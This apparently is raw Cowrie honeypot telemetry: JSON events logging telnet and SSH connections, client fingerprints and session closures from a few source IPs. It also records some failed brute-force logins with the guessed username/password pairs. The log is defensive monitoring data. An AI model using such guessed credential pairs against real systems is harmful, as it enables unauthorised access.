{"eventid":"cowrie.session.closed","duration":30.47609233856201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:35.060117Z","src_ip":"5.189.169.71","session":"45f1c74b724b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46020,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2497a987bcd","protocol":"telnet","message":"New connection: 5.189.169.71:46020 (10.17.0.5:23) [session: e2497a987bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:35.134035Z"}
{"eventid":"cowrie.session.closed","duration":31.25160026550293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:35.601528Z","src_ip":"94.23.163.94","session":"0fd49f3cd02d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":46036,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6332647250e","protocol":"telnet","message":"New connection: 5.189.169.71:46036 (10.17.0.5:23) [session: d6332647250e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:36.789991Z"}
{"eventid":"cowrie.session.closed","duration":30.919145345687866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:37.240675Z","src_ip":"5.189.178.126","session":"91ce7eef16e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":32802,"dst_ip":"10.17.0.5","dst_port":23,"session":"56bb7923ab74","protocol":"telnet","message":"New connection: 5.189.169.71:32802 (10.17.0.5:23) [session: 56bb7923ab74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:38.227157Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":32804,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c6ac4fea7a","protocol":"telnet","message":"New connection: 5.189.169.71:32804 (10.17.0.5:23) [session: 47c6ac4fea7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:38.326605Z"}
{"eventid":"cowrie.session.closed","duration":37.248772859573364,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:38.819648Z","src_ip":"23.254.167.244","session":"fd6f66a8bc0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52170,"dst_ip":"10.17.0.5","dst_port":22,"session":"23364f908654","protocol":"ssh","message":"New connection: 176.65.139.103:52170 (10.17.0.5:22) [session: 23364f908654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:38.961323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:38.966759Z","src_ip":"176.65.139.103","session":"23364f908654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:39.053688Z","src_ip":"176.65.139.103","session":"23364f908654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:39.562978Z","src_ip":"176.65.139.103","session":"23364f908654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52044,"dst_ip":"159.203.135.109","dst_port":23,"session":"df7a48c482ca","protocol":"telnet","message":"New connection: 23.254.167.244:52044 (159.203.135.109:23) [session: df7a48c482ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:39.710131Z"}
{"eventid":"cowrie.session.closed","duration":30.72849178314209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:40.196419Z","src_ip":"94.23.163.94","session":"7ed299fdd458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:40.648291Z","src_ip":"176.65.139.103","session":"23364f908654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":32806,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9b985231ac5","protocol":"telnet","message":"New connection: 5.189.169.71:32806 (10.17.0.5:23) [session: e9b985231ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:41.461104Z"}
{"eventid":"cowrie.session.closed","duration":31.06366777420044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:42.106492Z","src_ip":"94.23.163.94","session":"7d19f7e7cfe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.513192176818848,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:42.788603Z","src_ip":"181.79.87.92","session":"9f395c2d807a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":32812,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a97225be585","protocol":"telnet","message":"New connection: 5.189.169.71:32812 (10.17.0.5:23) [session: 4a97225be585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:42.888490Z"}
{"eventid":"cowrie.session.closed","duration":31.334777355194092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:43.426400Z","src_ip":"94.23.163.94","session":"aaacfd02f8ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":14011,"dst_ip":"10.17.0.5","dst_port":22,"session":"327d7e459f80","protocol":"ssh","message":"New connection: 74.87.117.149:14011 (10.17.0.5:22) [session: 327d7e459f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:43.728392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:43.733073Z","src_ip":"74.87.117.149","session":"327d7e459f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:43.757142Z","src_ip":"74.87.117.149","session":"327d7e459f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webserver","message":"login attempt [root/webserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:43.887909Z","src_ip":"74.87.117.149","session":"327d7e459f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":53974,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc23c193741","protocol":"telnet","message":"New connection: 5.189.178.126:53974 (10.17.0.5:23) [session: bcc23c193741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:44.269841Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":32822,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1b38ef4bf49","protocol":"telnet","message":"New connection: 5.189.169.71:32822 (10.17.0.5:23) [session: e1b38ef4bf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:44.383619Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:44.914454Z","src_ip":"74.87.117.149","session":"327d7e459f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":32830,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e0691efd4b5","protocol":"telnet","message":"New connection: 5.189.169.71:32830 (10.17.0.5:23) [session: 5e0691efd4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:45.345665Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51580,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2d688bf5a5d","protocol":"telnet","message":"New connection: 94.23.163.94:51580 (10.17.0.5:23) [session: f2d688bf5a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:45.576451Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60164,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b40a505c4e","protocol":"ssh","message":"New connection: 176.65.139.103:60164 (10.17.0.5:22) [session: e4b40a505c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:46.069469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:46.073597Z","src_ip":"176.65.139.103","session":"e4b40a505c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:46.156618Z","src_ip":"176.65.139.103","session":"e4b40a505c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:46.402064Z","src_ip":"176.65.139.103","session":"e4b40a505c4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:47.506474Z","src_ip":"176.65.139.103","session":"e4b40a505c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":42468,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8dd550259cc","protocol":"telnet","message":"New connection: 5.189.169.71:42468 (10.17.0.5:23) [session: e8dd550259cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:49.116642Z"}
{"eventid":"cowrie.session.closed","duration":31.01765012741089,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:49.214610Z","src_ip":"94.23.163.94","session":"cc72bd934f55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":42484,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8b93e08d529","protocol":"telnet","message":"New connection: 5.189.169.71:42484 (10.17.0.5:23) [session: b8b93e08d529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:49.711864Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33010,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee205b4461f2","protocol":"telnet","message":"New connection: 23.254.167.244:33010 (159.203.135.109:23) [session: ee205b4461f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:49.724343Z"}
{"eventid":"cowrie.session.closed","duration":30.42060947418213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:50.076193Z","src_ip":"5.189.169.71","session":"9435eb523b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":51586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4be6696fbca","protocol":"telnet","message":"New connection: 94.23.163.94:51586 (10.17.0.5:23) [session: c4be6696fbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:50.519075Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":60130,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f428ccb813","protocol":"telnet","message":"New connection: 5.189.178.126:60130 (10.17.0.5:23) [session: c6f428ccb813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:51.422117Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":60142,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87eeeda285a","protocol":"telnet","message":"New connection: 5.189.178.126:60142 (10.17.0.5:23) [session: e87eeeda285a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:52.239800Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38536,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7f45f90c1f6","protocol":"telnet","message":"New connection: 23.254.167.244:38536 (159.203.135.109:23) [session: b7f45f90c1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:52.759584Z"}
{"eventid":"cowrie.session.closed","duration":30.571526765823364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.050540Z","src_ip":"5.189.169.71","session":"b79b19015999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60052,"dst_ip":"10.17.0.5","dst_port":22,"session":"a00cae62d107","protocol":"ssh","message":"New connection: 176.65.139.103:60052 (10.17.0.5:22) [session: a00cae62d107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.234884Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":57842,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2c248184fcf","protocol":"telnet","message":"New connection: 94.23.163.94:57842 (10.17.0.5:23) [session: f2c248184fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.270060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.273895Z","src_ip":"176.65.139.103","session":"a00cae62d107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":42496,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad91a665ef5d","protocol":"telnet","message":"New connection: 5.189.169.71:42496 (10.17.0.5:23) [session: ad91a665ef5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.280707Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.344680Z","src_ip":"176.65.139.103","session":"a00cae62d107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.704970Z","src_ip":"176.65.139.103","session":"a00cae62d107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":60154,"dst_ip":"10.17.0.5","dst_port":23,"session":"f15fdc04c3cb","protocol":"telnet","message":"New connection: 5.189.178.126:60154 (10.17.0.5:23) [session: f15fdc04c3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.879269Z"}
{"eventid":"cowrie.session.closed","duration":31.74509835243225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:53.900133Z","src_ip":"5.189.169.71","session":"e42d3e9afa70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":42498,"dst_ip":"10.17.0.5","dst_port":23,"session":"863e86aec996","protocol":"telnet","message":"New connection: 5.189.169.71:42498 (10.17.0.5:23) [session: 863e86aec996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:54.303512Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:54.789412Z","src_ip":"176.65.139.103","session":"a00cae62d107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.927976846694946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:55.067903Z","src_ip":"94.23.163.94","session":"b0ffb699f3dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":42508,"dst_ip":"10.17.0.5","dst_port":23,"session":"97e176a2dc74","protocol":"telnet","message":"New connection: 5.189.169.71:42508 (10.17.0.5:23) [session: 97e176a2dc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:55.757071Z"}
{"eventid":"cowrie.session.closed","duration":30.360896587371826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:56.054230Z","src_ip":"5.189.169.71","session":"d09ab2b8d659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70260977745056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:56.086730Z","src_ip":"5.189.169.71","session":"9b3b02a7b098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":57844,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e4eca3f909a","protocol":"telnet","message":"New connection: 94.23.163.94:57844 (10.17.0.5:23) [session: 0e4eca3f909a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:57.451831Z"}
{"eventid":"cowrie.session.closed","duration":30.794243812561035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:58.055716Z","src_ip":"94.23.163.94","session":"7ab958b4ba02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9192636013031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:58.094567Z","src_ip":"5.189.169.71","session":"b96c3133e531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":60160,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d19ef09ea7","protocol":"telnet","message":"New connection: 5.189.178.126:60160 (10.17.0.5:23) [session: 17d19ef09ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:58.705011Z"}
